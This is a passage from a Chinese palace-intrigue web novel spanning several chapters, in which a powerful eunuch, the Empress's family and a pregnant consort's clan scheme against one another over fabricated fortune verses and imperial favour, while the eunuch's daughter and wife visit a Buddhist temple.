“爹爹,你说,朱府送重礼。这意思是不是替朱充仪求一个您给的保证。又或者说想请您替朱充仪转圜一番。”万珍珠动一动脑瓜子,她就想到这一个理由。 “朱府好盘算。”万珍珠双掌一合。 “皇嗣多尊贵。投了再多的筹码,朱府也乐意。那可是流了朱氏血脉的皇嗣啊。”万珍珠想击掌赞叹。 “你都说皇嗣尊贵了。朱府用意,自然如此。”万忠良赞同一回女儿的话。 “老爷,朱充仪跟府上关系还算亲近。您……”牛二囡也想问一问当家的态度如何。 万忠良瞧一眼妻子牛二囡,他平平常常的讲道:“看朱充仪的本事。咱,也不是谁的奶嬷嬷,没的要护一个有完没完。” “娘,您可不可能替朱充仪为难爹爹。爹爹是陛下的跟前人。万事还当以陛下为重。”万珍珠站亲爹这一边。 “爹爹好,府上好。我和娘都好。”万珍珠劝话道。 “至于朱充仪的事,在爹爹有余力的时候,爹爹护不护,爹爹一定有考量。我们就不多替爹爹拿主意。宫廷里的事,我不懂,娘,您也不懂。我们不懂,就不掺和,免得替爹爹招惹上麻烦。”万珍珠乐呵呵笑着,尽量说的语气委婉。 牛二囡一瞧,面前的一对父女倒是一个鼻孔出气的样子。 牛二囡装着恼了,实则给自己一个台阶下。她说道:“我妇道人家,不懂这的那的什么道理。我都不会管。” “真懂的,真管了,也管了你这泼猴。”牛二囡坐于女儿身边。 这会儿伸手,食指虚虚的点一点女儿的额头。 “我是泼猴……”万珍珠听着亲娘的话,笑得乐不可吱。 “笑甚?”牛二囡瞧着女儿乐得合不拢嘴的模样。她忍不住问道。 “我就想着娘的话。我是泼猴,将来,还要给娘生了小猴子,您孙儿孙女是小猴子。”万珍珠没敢说,她是猴,她爹,她娘也成猴儿了。 一听女儿说生小猴子。牛二囡给咽住了。 万忠良在旁边瞧着这一幕,他笑了,又讲道:“瞧一瞧,咱闺女是一个不会吃亏的性子。这性子,好。” “咱这一辈子,就活懂一个道理。人啊,宁可让旁人吃亏,也别自个吃亏。”万忠良深有心得体会的模样。 “还真是,我跟爹爹一样的想法。吃什么,也不能吃亏欠。苦一苦无关紧要的旁人,那又何妨。” 万珍珠有一颗“慈悲心”,不当面,再是杀生又如何。 人活着,要吃肉。这肉食,那也是动物身上的肉。 不当面,一切装着不知道嘛。 浑江郡主府里,关于朱充仪有喜一事。一家人议一议。那是因为浑江郡主府掺合不掺合,那能自己决断。 镐京都,皇宫,宫廷内苑。 朱凤曦有喜了,她见过进宫的母亲,还小心的透露了此事。 朱凤曦需要娘家的帮衬。进宫当嫔妃,哪怕是高位嫔妃。 瞧着风光,真想混得好,还得银钱开道。 当嫔妃,想得了便宜。银钱开道了,自然是月例不够铺张的。 想开小灶也罢,想收买人手也罢,一切全看钱。舍得大撒币,自然会一切顺遂。 “恭喜娘娘。”朱凤曦的陪嫁丫鬟白玉贺道。 “如今贺,太早了。”朱凤曦很淡然。 “娘娘,陛下亲口承诺,您一旦诞下小皇子就晋位妃位。此事,那还能做假不成。”白玉心中,全是欢喜。 充仪娘娘大福气,一入宫就是九嫔之一的充仪。 如今又怀上龙嗣。等着皇子诞下。那前程真的不可限量。 “白玉,你等陪嫁,本宫千信万信。如此正是紧要关头。还是护着本宫腹中的皇嗣平安生下来后,再谋其它,再谈妃位。”朱凤曦讲道。 “宫里的皇子尊贵。白玉,你也是本宫身边的心腹。你一定听说了,陛下膝下,可就养住了一位三皇子。”朱凤曦重重的点醒一回。 “奴婢孟浪了。”白玉听懂朱充仪的点拔。她赶紧的认错。 “你明白就好。”朱凤曦轻轻颔首。 这会儿的朱凤曦还在想着宫外的事情。当初母亲进宫,母女二人通通气。 为着朱凤曦,杨夫人要奔走一二,多求人缘。 本着皇嗣重要,杨夫人也在外面大撒币。浑江郡主府只是目标之一。 “……”这会儿的朱凤曦想到万太监。她不知,娘家是不是搭稳了这一条线。 若得万太监庇护,朱凤曦相信她能护好龙胎的。 在朱凤曦想着美好前程时。 昭阳宫。 魏皇后召见了王贤妃。魏皇后讲道:“本宫近日乏暑。陛下吩咐,让贤妃帮衬一二。” 王贤妃听着协理宫务,她的心头欢喜。虽然面上还要强装一下淡定。 “既然是陛下恩典,臣妾一定协助好皇后娘娘,替皇后娘娘分忧一番。”王贤妃不会拒绝宫权。 宫权太重要。不是指着安插多少眼线与钉子。 哪怕是一点点的宫权,不需要多安插人手,关键位置落一子即可。在宫廷里,最不缺着想搏命往上爬的人。 赌性,在皇宫里的底层中,那很大的。虽然在上层里,赌性一样很大。 谁让皇宫就像是斗兽场。赢了,那就赢麻了。 输了,有些人本来就一无所有。压的,那就是一条命。 萝卜太多,坑位太少。这不,谁奸谁善,谁坏谁好,隔着肚皮难分清楚。 王贤妃就是一个务实之辈。儿子有当皇父的天子护着。 也罢,在皇后这儿能咬一块肉,甭管大小,赶紧吞下就对了。 “贤妃,倒是真贤惠啊。”魏皇后明白的蛐蛐一回。 “此乃陛下赐的封号,臣妾也喜欢。”王贤妃装傻,她笑道:“瞧皇后娘娘提了,娘娘也是喜爱了这一个贤字吧。” 王贤妃是真傻,还是装傻。又或者在故意堵了魏皇后?这很难说。 落在魏皇后心底,她会觉得王贤妃在蛐蛐她。毕竟指着秃子骂和尚,这没区别了。 王贤妃腹诽,皇后娘娘已经不是第一回闹没了皇嗣。 让魏皇后担着“贤”一字,王贤妃肯定,皇后担不起。 贤字封号皇帝给了王贤妃,王贤妃又膝下有三皇子。 王贤妃一胡咧咧,又免不得让魏皇后多想。 王贤妃来一趟,魏皇后按着天子之意分一点宫务给王贤妃。 虽然分得一点边边角角,还不重要的宫务。 王贤妃也开心的很。这不,从昭阳宫告辞离开时,拿着帐本的王贤妃跟得胜的将军没两样。 王贤妃离开了,她是高高兴兴的走了。 昭阳宫里,当差的魏嬷嬷头疼。她太会瞧魏皇后的神情。 魏嬷嬷知道,这时候的皇后娘娘怕是气坏了。 王贤妃说的一番话,一直在暗戳戳的踩了自家皇后娘娘的痛处。 偏偏王贤妃说话,尽是瞎说大实话。 有时候嘛,谎言不可怕,最可怕的是真相。 就因为是大实话,更容易伤人。谁让魏皇后自己也没有法子骗到自己。 “嬷嬷,你也瞧着王氏,她这等张扬,全是陛下默许出来的。这把本宫的体面踩了地上。”魏 皇后不开心。 “还有那朱氏,一入宫就得宠。还有皇嗣了……”魏皇后一想到朱充仪有孕。她心里堵。 “朱氏能怀上,本宫怎么就怀不上。”魏皇后想着喝了一碗又一碗的坐胎药。 魏皇后太想让人查一查,那坐胎药是不是伪劣假冒,如若不然,怎生没有效果。 “皇后娘娘,朱充仪怀着皇嗣,她都有孕了,可不好巴巴儿的独占陛下。”魏嬷嬷想转移话题。 “这不正好,朱充仪空缺出来的日子,皇后娘娘能分享了。只要帝后和睦,早早晚晚,皇后娘娘一定会如愿的诞下嫡皇子。”魏嬷嬷在劝话。左劝右劝,努力劝着。 在心里,魏嬷嬷只想讲,太难了。 “嬷嬷,我也想夺得圣心,可是太难了。”魏皇后想哭。她在考虑,想当初嫁进皇家,多好的一手牌面。怎么就会让她闹成如今的模样? “朱氏有孕,陛下赶紧提拔王氏来分本宫的权柄。”魏皇后心头苦涩。 “陛下不相信本宫啊。”魏皇后不傻,这摆明的事情。 。 她一旦想清楚了,她就不能继续装傻。往昔,不过是自己装着瞧不见许多事情罢了。 “母亲……”魏皇后此时一生气,又想要压抑了怒火,太难受。 魏皇后就想到母亲,她说道:“嬷嬷,差人传话。本宫想见一见母亲。” 问亲娘要主意,魏皇后需要来自亲人的安慰。 “皇后娘娘,您忘记了。长公主殿下去大佛寺上香祈福,替您点了长明灯去。”魏嬷嬷小心的禀话道。 “……”魏嬷嬷一提醒。魏皇后清醒过来。 “是本宫无能,让母亲多方替我奔走。”魏皇后想到亲娘的所作所为,忙忙碌碌全为她。魏皇后觉得自己无颜面见亲人了。 想归想,魏皇后还是跟魏嬷嬷吩咐一回。差人去承恩公府传话。 “嬷嬷,等母亲归来,一定要请母亲进宫来。本宫想念母亲了。”魏皇后吩咐道。 “唯。”皇后吩咐,魏嬷嬷肯定应下。 大佛寺。一座镐京都的大寺。 不止香火鼎盛,更是多有传闻,传的神乎其神。 庆德长公主来上香,她祈福了,也是祈福亲人无恙,特别是女儿魏皇后。 庆德长公主捐很多的香火钱,只盼着昭阳宫早些诞下嫡皇子。 庆德长公主盼皇外孙,那是盼得眼睛快绿了。 当然,这里的皇外孙是指流着魏氏血脉的皇子。 至于说非是魏皇后生的皇子,庆德长公主没感情。 上香,祈福,听经。 。 一番行程后,庆德长公主在禅院里歇息。她在小憩后,醒来时,屋里添多一人。 魏国公一来,就瞧见睡醒的嫡妻。老夫老妻,风风雨雨,时间久了,这二人还是了解对方的。 此时,魏国公待庆德长公主梳妆好后。他挥退侍候的丫鬟仆妇。 夫妻二人坐一屋。魏国公讲道:“殿下,有一件事情还得跟您说说。” “事大吗?”庆德长公主问道。 “得您拿捏了分寸。”魏国公感慨一回道:“我差人打探一些事情时,听着下面人汇报上来两句签文。” “……”一听驸马这话,庆德长公主正了正身子,她是洗耳恭听的态度。 “金水富贵种红莲,莲子火火大日天。” “大日投梦降祥瑞,凤凰于飞朱门显。” 魏国公念了一回签文,又道:“这是朱充仪八字解算的签文。” “此签,朱家秘而不宣。不是我让人查,这事情还抖落不出来。”魏国公的眼中有冷意。 “殿下怕不知,长春宫里,有宫人说朱充仪夜梦大日入怀。这不,梦日入怀,胎梦即显,就怀上了皇嗣。”魏国公的目光落在庆德长公主身上。 “殿下如何看?”魏国公问庆德长公主。 “驸马如何看?”庆德长公主反问道。 “朱氏野望太大。”魏国公给出自己的看法。 “朱门贵女,大日皇嗣。确实是过了,太过了。”庆德长公主说这话时,语气冷漠。 “本宫瞧着,朱充仪不止要凤位,朱充仪生的皇子还要龙椅啊。”庆德长公主暗恨。 想朱充仪的家世,一入宫,即被天子册立为九嫔之一的充仪。太过了。 朱氏女的门楣还没有高到这等程度。就是压一压,又如何。 入宫初封就在一宫主位上,有些事情是经不住推敲。 明明白白的,这是天子的偏坦。 “看来朱充仪,还有她背后的家族,如何重视,都不为过。”庆德长公主哪里是看重。 庆德长公主就差把朱充仪和朱充仪的家族当成了眼中钉,肉中刺。 “只前尘旧事,皇嗣的黑锅,已是经不住陛下的怀疑了。”魏国公叹息一回。 “更何况陛下貌似有意抬举着朱充仪。”魏国公太懂了。 天子这做法是在后宫制衡。显然对于中宫皇后,天子不信任。 “……”庆德长公主听懂了驸马的言下之意。 “朱充仪有陛下护着。那就让陛下护着好了。”庆德长公主讲道。 “本宫就想知道,朱氏一族是不是清廉如水,俱是良才。真就没人干些违法乱纪的事情?”庆德长公主心一狠。 那准备下狠手,让朱氏一族出乱子。朝廷后宫,总相干连。 后宫里,因为女儿的不争气。如今不好大动干戈。 那就在朝堂上动一动,庆德长公主准备拿了朱氏一族的把柄。 “本宫还不信,美人再好,陛下就不念了江山社稷为重。”庆德长公主可知道洪福帝的为人。 莫看重情,莫看呵护美人。真跟江山社稷一比较,美人算什么? 不过红颜枯骨罢了。时光易逝,在皇权安稳面前,美色不重要。 只要天子想,他想要多少美人,那就会有多少。 有江山才会有美人。有美人,失社稷,美人也是护不住的。 “殿下,朱充仪的父亲乃边疆节度使,若擅动,恐生不忍言之事。”魏国公提醒一回。 边疆节帅,这真不是好动的。 “不是塌天大祸,不能绊倒朱充仪与朱氏一族。等朱氏女显贵时,一旦万一,皇后倒台,魏氏一族脱不了干系。”庆德长公主瞧着驸马,她是苦笑着说道。 这些年里,皇后显贵,魏氏一族沾了光彩。 有些事情嘛,没闹腾出来。真不能当不知道。 庆德长公主对于魏氏一族的子弟,还是了解一点。反正良才太少,庸人太多。 特别是自己的儿子,庆德长公主更没底。那就是一个糊涂庸人。 庆德长公主在闭眼前,她总要多替儿子寻了庇护伞。 心疼儿子了,庆德长公主又何尝不是心疼女儿。 更何况,当年的魏氏一族为了洪福帝流过血,不止出力,还出人出银子。 从龙之功,附于羽翼之后。总不能当年出了力,后面被剪除掉吧。 庆德长公主岂能甘心?自己种的大树,让别人纳凉乘荫。 想一想签文,朱充仪真上位的话,庆德长公主得呕死。 “此事不能着急,还得从长计议。”魏国公劝道。 提事的是魏国公。可让押后的还是魏国公。 只魏国公的态度明确。庆德长公主琢磨一下后,也点头同意了。 确实不是小事,不是一说就能解决掉问题的。 还得多翻考量,毕竟一旦下注了,就没回头路可走。于是落子之前,又岂能不权衡轻重。 第42章 世间的事情若是太巧合,又哪有什么巧合。多数时候,更是人为。 万忠良听着干儿子的汇报,他点点头,道:“先盯紧些。” 干儿子应下话。万忠良又是画了饼,道:“事办成,咱有赏。重重的赏。上面给恩典抬举,也要看办事能耐。有没有能耐,是驴子是马,拉出来溜溜。比一比成绩才成。” 干儿子听懂了干爹的意思。成不成,不是嘴皮子功夫。 那要看事情办成没有。 万忠良的干儿子太多,谁都想上位。既然都想上位,自然要看一看业绩。 谁拔头筹,自然就得上位机缘。谁办砸差事,那就识趣的滚蛋。 对于太监而言,滚蛋可不止是出局。更可能意味着一辈子任人贱踏,又或者去九幽黄泉报到。 洪福十六年。 对于万忠良而言,如今就是静静的等着,等着发酵,等着结果。 结 果是什么?外人或旁观者只管等着便是。毕竟决断权在当事人的手上。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝挥挥手,打发走侍候的其它宫人。他留在大伴。 “事情如何?”洪福帝问一句。 “启禀陛下,承恩公府并未曾有什么举动。”万忠良诚恳回话道。 “好。”洪福帝的听着这一个答案,他的心情还不错。 “差人继续盯着。”洪福帝交代一句。 “唯。”万忠良应下话。 洪福帝问着什么样的事情。当然是关于承恩公府的一切。 天子让盯着,万忠良就是盯得紧。一天十二时辰,万忠良都是差人盯梢。 对于天子想干什么?万忠良不会问。 天子有吩咐,万忠良是忠诚执行即可。当然,这话就是说说。 真是谁信谁傻。 替天子办事,那得揣摩圣意。差事办得不顺了天子的意思。 前程,那肯定没了前程。 万忠良太知道,魏皇后让天子很不满意。如果不是看在承国公府的情份上,天子有心废皇后。 在云美人小产后,天子醉酒一回。头一回失态的讲出来“废后”二字。 虽然等天子醒来,貌似把一切忘记了。又有魏国公的识趣,巴巴儿的把祖传遗产孝敬给天子。 这不,天子才是“原谅”了魏皇后的轻浮。 坎儿瞧着过去了,伤口愈合了。可实际上嘛,事情没那么的简单。 在洪福帝心里,他的真实想法到底什么样子? 唯洪福帝自知。 做为洪福帝的贴身大伴,万忠良猜测到一二。 谁让一些事情是帝王吩咐万忠良办的。比如现在的直勾钓鱼。还是钓鱼执法,就想拿了魏国公府的把柄。 “皇后不是消停的性子。”洪福帝沉默良久后,他叹息一回。 “金水富贵种红莲,莲子火火大日天。” “大日投梦降祥瑞,凤凰于飞朱门显。” 念过这两句签文,洪福帝的目光落在万忠良身上。 “大伴,这诗张扬过头了。”洪福帝意有所指的讲道。 万忠良忙行大礼,他禀话,道:“启禀陛下,这两句签文是大佛寺里的高僧所解。据说,当初充仪娘娘和其母拜访多处名山古刹。于此,求签问缘,不足胜举。” “陛下明鉴,签文为真,非是腹诽。”万忠良讲了一位得道高僧的名字。 他的意思很明白,这事情是真的,不是他安排的。 “……”洪福帝的目光落在万忠良身上。他的目光冷了下来,盯着万忠良瞧了许多后。 洪福帝的情绪平复下来。他讲道:“既然是真的,朱氏倒是有福的。” 只这话信与不信,全是在洪福帝的一念之间。 问他信不信,两可之间。如信。 瞧着帝王的打量,万忠良很淡然。他按着天子吩咐办事。 虽然在办事情的时候,万忠良小小的改了一点点的力度。 按朱凤曦头上的签文是真的。朱家人求过,只不过嘛,这事情有猫腻。 因为全是万忠良安排人给编排出来的。编归编,当初可是小心的很。除了万忠良这一边的人手,就剩下朱家人自知。 要不然的话,为着朱凤曦进宫一事。真当朱府人是傻子。 那是大撒币吗? 人朱府也是有妄念,还贪图了至尊之位的。 当然那至尊之位是留给朱凤曦生的皇子。朱家就想攀附上皇亲国戚的身份。 朱家人觉得自己有大秘密。为着前程,他们乐意付出。 万忠良不过是小小布局一下,既是成全了女儿万珍珠的心思。 又是顺遂一回朱府人的心思,送他们一程,让他们奔上青云路。 青云路,是不是不归路? 这看本事,入了皇家斗兽场,自然是赢家通吃。 当初安排签文的是万忠良。朱家人想保密,也得看万内相想不想保密。 在需要的时候,万忠良只是在朱家人的保密之上小小的开一条口子。尔后,一心想拿捏住朱氏一族把柄的魏国公识破伎俩。 魏国公的人打探到了两句震撼人心的签文。 魏国公知道后,魏国公给惊住了。 万忠良布局了,应该入局的,不应该入局的,反正涉足里面的,可谓全是局中人。 万忠良也是局中人,只是他一直有准备。 那心头,可谓是门儿清。 这一日,在帝王跟前当差。待晚间,万忠良赏一回月。 至于帝王嘛,帝王歇在了云美人的寝宫。 万忠良得着闲暇功夫,他打算吹一吹晚间的凉风。 夏日凉风,还是夜间的风,最让人舒坦。 风拂脸颊。万忠良的心情不错。他抬头,瞧见一轮明月在天空悬挂。 天上晧日朗月,各有各的拥趸。 万忠良借由明月又想到大日。关于朱充仪的胎梦。 万忠良感慨,真不冤枉朱充仪。这一位心大着。 万忠良不过是差人提几嘴,让朱凤仪忆起前朝旧事。 前朝的孝宣年间,宣太后的上位史里就有传闻。 说宣太后怀上世宗时,大日入怀,生而吉祥。 这话,万忠良不怎么相信。正史,他不一定真。野史,万忠良敢保证。 野史一旦野了,那一定是非常的野。 “最难割舍,不过是自己想得到又不想舍了的东西。” 万忠良琢磨了,在朱充仪怀孕的日子里,宫廷内苑得多热闹。 至于有没有想着安份守己?万忠良不信的。 在宫廷之中,万忠良就没有瞧见这等不求上进之辈。 无所求,太难了。反正万忠良是堪不破。 洪福十六年,夏过,秋来。 朱充仪的肚子大了,她想多走一走,活动一二。 在生皇嗣时,那不止求皇嗣健康,更求皇嗣生母也一定要健健康康。 朱凤曦的心中自然有一笔帐。 算得多,朱凤曦瞧着坐吃山空的私房钱。这是她进宫前,进宫后,家里给贴补的,族里给贴补的。 总之,朱凤曦的财政很健康。只能说家底子太厚实。 “本宫腹部疼。”朱凤曦跟陪嫁丫鬟白玉吩咐话道。 “娘娘,奴婢马上差人去请太医来。”白玉忙应话。 白玉是朱充仪的心腹陪嫁。听着主子喊疼。 白玉等等的一等大丫鬟,她们非常担忧,要知道主子的腹部位置太重要。那么,可是在育孕了皇嗣。 “奴婢马上去请太医来。”白玉赶紧提议。 “差人去请。”朱充仪同意了。 当然要请太医,朱充仪又不是演戏,她是真的不舒坦。 原由? 不过是宫外的消息让朱充仪心里不舒坦的原由所在。 朱氏一族有人出事了。不是一桩,而是一桩一桩的垒起来。 这事儿多了,全是败坏纲纪礼法的。 让人给抖落了出来,让朱氏一族的诸人没脸。 特别是女眷的圈子里,这消息传出去后。多少人想看朱氏一族的热闹。 因着朱凤曦有孕。在帝王心中,当然是子嗣重要。 于是朱凤曦保胎为重。那些不争气的“东西”,应该被收拾的就被收拾掉。 在这等情况下,朱凤曦听着宫外面的消息。 知道自己的亲人出问题,做为宫妃。早年是母以子贵。 可等着皇子长大了,同样要讲究了子以母妃。 朱凤曦肯定想要一个长盛不衰的家族。做嫔妃,最想家族荣耀。 家族荣耀才乐意给宫里的自家娘娘多孝敬。 你借我势,我得你财。 包裹着亲情的面具,大家都是演的开心。 如今的朱凤曦就凑巧的碰上了这等遭心的娘家诸事。 尔后,她腹痛了。 昭阳 宫。 哪怕宫权分了一点点给王贤妃。魏皇后也拿大头。 在这等情况下的魏皇后想知道风吹草动的太容易。 “嬷嬷,你说,朱氏这一胎是不是保不住了?”魏皇后的脸上有喜意。 “本宫就知道那朱氏是福薄的。瞧瞧,怀上了又闹出来事儿。”魏皇后说着自己的分晰。 魏嬷嬷小心的提醒道:“皇后娘娘,您当初不是说,朱充仪这一胎保住最好吗?要知道,陛下膝下有三皇子,再诞下一位小皇子。应该着急的是王贤妃才对。” “对,对。本宫糊涂了。”魏皇后听着魏嬷嬷的话,她听进去了。 “王氏有了三皇子后,一直爱耀武扬威。本宫真想瞧一瞧,等着朱氏生下皇子。她二人究竟能不能和睦相处,又或者说斗一个你死我活?” 魏皇后真的很期待啊。 瞧着魏皇后想看好戏的模样。魏嬷嬷很头疼。 魏嬷嬷可记得,天子已经不止一次的敲打过皇后娘娘。 可皇后娘娘还是忌吃不忌打。当初天子的冷脸,那等冷漠的神情。 至今,魏嬷嬷忘掉。当初,那时候魏嬷嬷都以为她要步当年承恩公府旧人的路。 那就是被上头的主子舍弃掉。一旦落水,想痛打落水狗的太多。 莫不成,皇后娘娘忘记了王贤妃分她的宫权。 王贤妃膝下有皇子,有未来。 至于朱充仪,这一位比着王贤妃的前程也是差不了。 左右朱充仪生下皇嗣,一个稳稳的妃位拿捏了。 魏嬷嬷心有槽口无处吐。 魏嬷嬷真怕魏皇后张扬过头,又让下面的嫔妃们结成盟友。 到时候魏皇后想看戏,那没得看。更可能被人集火一身。 最后能否保住前程,保住凤位?全看承恩公府又要下多大的力气。舍多少的好处孝敬给天子。 在魏嬷嬷的心里,她是真羡慕了魏皇后。 魏皇后的投胎技术太强了。瞧瞧,前半生有爹娘宠着。 等着嫁进皇家后,哪怕魏皇后行事不周全。办事不过脑。很可能还是脑子进水了。 魏嬷嬷瞧着魏皇后没一点害怕的模样。魏皇后还想当吃瓜众,看好戏。 魏嬷嬷替主子娘娘着急。 镐京都,内城,浑江郡主府。 万珍珠问过亲娘的意思,又问过亲爹的意思。 亲爹答应会想法子寻了假日,尔后,万珍珠又得了亲娘同意,她与亲娘可一道去上香祈福。 在得着消息,知道妻女定要去上香后。万忠良难得的寻到一个假期归府。 时间不算长,就半天的休沐假期。 花厅里,万忠良吃些解暑的。此时,他小小的用一些后。 万忠良缓一缓,他跟亲闺女问话道:“怎么突然想去大佛寺上香祈福,咱记得,闺女你说过山不在高,有仙则鸣,水不在深,有龙则灵。” “如何,闺女不去小观小庙,也改成大观大庙了。”万忠良遥想趣女儿。 万珍珠笑道:“爹爹,这一回女儿和娘就去凑一个热闹,见识见识大佛寺的香火鼎盛。” “多大热闹,香火鼎盛还算稀罕事儿。”万忠良感慨一句。 “这有甚。”万珍珠看得开。 “端看各人缘法,谁稀罕,就叫真稀罕。若不在意,便成平凡了。就似富贵人家有富贵人家的体面与活法。在说夏日,晒人的很。真是有又晒又累的活,还是有人盼着干活求生计。缘法,也道稀罕。”万珍珠说的大实话。 “对了,爹爹,你似乎很在意大佛寺?”万珍珠关切的问道。 万珍珠刚才讲话时,可注定到亲爹在哪儿,那是走神了。 “大佛寺的香火太旺。咱啊,自然就知道一些。”万忠良回道。 万忠良不会说,他听着大佛寺太多回。全落在一些人的身上。 在女儿跟前,万忠良从来是慈父。 “既然你和你娘有心去上香,那就去。”万忠良同意女儿的请求。 “好啊,到时候我和娘一起求了平安符。”万珍珠笑道。 平安符管用不管用?这不重要。求一个心安最重要。 第43章 大佛寺,寺大如名,佛大如名。 万珍珠和亲娘一道去上香祈福,再求一求平安符。 出发那一日,母女二人乘坐一辆马车。随护卫跟着。 “瞅着快出城了。”牛二囡瞧一眼热闹的外城。再瞧着远远的城墙,她跟女儿讲话道。 “城里城外,等出城了,可就瞧不着镐京都这般热闹地。瞧瞧,街道上游人如织,太热闹了。”万珍珠隔着窗帘子还瞧见外面的市井烟火气。 “大城自然热闹。”牛二囡笑道。 初到镐京都,对于这般繁华肯定让人向往。居住久了,便是习惯了。 马车在行驶,一直出了城,一路往大佛寺去。 途中,牛二囡瞧着外面的风景下错。可没什么市井烟火气的热闹。 只是静静的山水画一般的风景。牛二囡没了多少兴致赏景。 牛二囡与女儿坐一堆,她小声问道:“我儿,你跟娘讲一讲,你如何说动了你爹。让他不着急了你的婚事?” 牛二囡可知道的,她和闺女刚进镐京都时,当家的对于闺女的亲事多急切。 那会牛二囡天天出门参加宴会,甭管哪家,只要能打开交际的圈子。牛二囡一准儿参加。 参加宴会,不止拉拉扯扯的谈天说地。牛二囡的用意更实在,除了听一听别人的吹捧外,也是想顺道捡一个合心意的女婿回家。 等着当家的不着急给闺女寻女婿后,牛二囡想多多参加宴会的心思淡一点。 宴会嘛,参加来参加去,除了扯些嘴皮子的功夫,再听了满脑袋的八卦之外。 牛二囡嫌弃收获太少。毕竟落她眼中,不能寻着女婿的人家,打多交道,也是淡淡。 至于如今还在走动的人家,除了有人是真的捧场捧人,捧得牛二囡舒坦。 牛二囡还乐意吱个声,跟人碰一碰面。 除此之外的一般二般人物,牛二囡不想多见面。 牛二囡也是矜持起来,她要抬一抬浑江郡主府的体面。 当然,如果是万忠良这一位夫君给交代了,那得多走动的人家。 牛二囡不介意走动一二。 “娘,哪里是我说动了爹爹。”万珍珠摇摇头。 虽然万珍珠确实是央求了亲爹,关于婚事延后。 可这原由,又哪里是在她的身上。摆明了,问题出在昭阳宫。 “娘,您可冤枉我啊。”万珍珠笑道:“女儿多清白的人,又不是嘴皮子利落的滑头鬼机灵。” “明明就是爹爹明查秋毫,烛光远照。爹爹让办的事情,一定有爹爹的道理。我照着遵守就是。”万珍珠笑着回道。 虽说不是隔墙有耳,可是这会儿在外面呢。万珍珠又哪能光明正大的跟亲娘蛐蛐中宫皇后。 如果在浑江郡主府里,万珍珠还可能跟亲娘咬一咬小耳朵,偷偷的蛐蛐一些话。 现在嘛,万珍珠就是打哈哈。 亲娘想问事情真相原由?等回府后,万珍珠不介意向亲娘说了她知道的。 反正能说不能说,在亲娘跟前,那当然能说。 指不一定警醒一点,不止她和亲爹警醒,亲娘也是提高一下警惕心。 见女儿提了当家的,牛二囡不想再多问。 反正事情揽到当家的身上,这事情一定就是大起来。 牛二囡做了富贵闲人,那富贵享受,闲人是真想清闲一些。 大佛寺。 淑阳公主在大佛寺小住一段日子。她来此为点长明灯,同时,也为做水陆法会。 淑阳公主结束今日的水陆法会,她回到自己暂时住的禅院。 陪嫁嬷嬷给公主递上饮子,此时,喝着凉饮解一解燥气。 “殿下辛苦了。”陪嫁李嬷嬷心疼的说道。 “不辛苦,本宫就是感伤了,远在千里万里之外,本宫不能亲自回了燕京都给皇祖父 守孝。再不能在父皇跟前尽了孝心。本宫不孝。“淑阳公主说着话时,又是抹一抹眼角。 抹一抹,淑阳公主就哭了。 借着这一哭,淑阳公主也是发泄出多日来的郁闷。 想当初踏足大晋朝的边疆之地。燕京都来信。 在信中知道父王登基时,淑阳公主心底有奢望。 万一父王,不,应该是父皇怜悯了她这一个亲女儿呢。 结果淑阳公主失望了。守孝,确实是耽搁了和亲一事。 可这事情注定要了结。不是淑阳公主和亲,也还有旁的公主和亲。 淑阳公主都是踏足大晋朝的土地。齐王这一位新君当然是叮嘱女儿。不必再归去。 要守孝,在镐京都守孝即可。孝心嘛,不看表面,看了诚心。 大赵新君的态度很明确,嫁出去的女儿就如泼出去的水。 想回去?没有门。 若说这等事情,淑阳公主很在意。那么,在淑阳公主知道她的皇祖父驾崩前,还给姑姑贞静公主指一门婚事,驸马是燕京都的爵府世子后。 淑阳公主破防了。她完全遭不住。 说是来寺里上香祈福,淑阳公主其时是来求佛的,问佛,公平何在? 淑阳公主出门了,不住镐京都的暂居府邸。 护卫统领赵济世自然领着人跟随,左右护卫,护了公主周全。 远离燕京都,赵济世万般想法皆成空。 不归去前,一切想法,全是多想。如今的赵济世安下心思。 赵济世就想站好淑阳公主这一班在大晋朝的最后岗位。 等着脱身后,平平安安的回到燕京都去。 来了镐京都。 赵济世免不得关心一回浑江郡主府。或者说关注了浑江郡主的一点动向。 只是略略的关注。赵济世没用几分心思。 他想不关注,可免不得隔几日里,赵济世又是分心的问一回。 既然心底在意,赵济世干脆就是从心了。 浑江郡主出门的时候少,偶尔参加贵女之间的聚会。 听人汇报时,浑江郡主也是出彩之人。 赵济世远远的,他还瞧过浑江郡主。真美,跟记忆里的一样美。 比起原来的她,如今的她,更胜三分。那浑江上下养出来的贵气。让赵济世欢喜。 欢喜归欢喜,赵济世只是远远的瞧一眼。他不敢靠近。 两个世界的人,真没必要凑一堆。没得坏了郡主的清誉,又毁了他的前程。 各有所在意的,自然是做人做事,也有底线规矩。赵济世如此,万珍珠亦如此。 万珍珠跟亲娘来大佛寺,没提前打招呼,更是轻装简行。 既然做了寻常打扮,等着大佛寺客气的拦一拦时。 万珍珠想抽一抽嘴角。她和亲娘来上香,在镐京都里,还是头一回被人客气的婉拒了。 “二位施主,寺里来了贵客做私人的水陆法会。尚未清场结束。”知客僧态度谦逊。 可话嘛,也跟万珍珠母女说得透亮。对方是贵人。寺里得妥善的接待了。 于是万珍珠母女这样的香客,就要请她们在山脚等一等。 等不住怎么办? 请下一回再来大佛寺烧香祈福。凭大佛寺的名声,还真不缺几个名不见经传的小人物的香火。 有一句突然浮现在万珍珠的脑瓜子里。真理,名言。 那一句话便是佛渡有元人。 元,银金珠宝钱财也。 元,家财万贯也。元,银钱的元嘛。 “阿弥陀佛。”牛二囡瞧着知客僧的态度好,她也好声好气的跟对方见礼,双手合十。 “是我们来叨扰了。”牛二囡没觉得知客僧哪不对。 或者说来镐京都被捧了许久。牛二囡的心气给捧起来。 可想着当家的一些叮嘱。还有当年的旧事上,太监跋扈带来的恶果等等。 牛二囡不为旁的,只为女儿百年,为了小孙孙辈们的未来。 牛二囡就爱惜名声。不止爱惜,那对名声是爱护的紧。 人嘛,一旦活一辈子有牵挂,总不会是“无敌”之人。 这心性上不是软三分,就会坚强三分。这跟打BUFF一样。 “我们母女在山脚处等一等便是。”万珍珠笑着说道。 这会儿的万珍珠挽了亲娘的胳膊。她觉得进不去大佛寺,先在山脚逛一逛也成。 大佛寺不止是上香的寺庙。在山脚处,也有街坊市井。 只能说佛渡有元人。这元子银钱嘛,那也能带动一下兔子窝边的小草小花开得漂亮一点,长得茂盛一点。 这大佛寺山脚处的集市,也有特色。卖什么的都有。 就是这些东西上总爱加上了佛教的元素。很有特色,若仔细寻找了,也能找着一些“宝贝”。 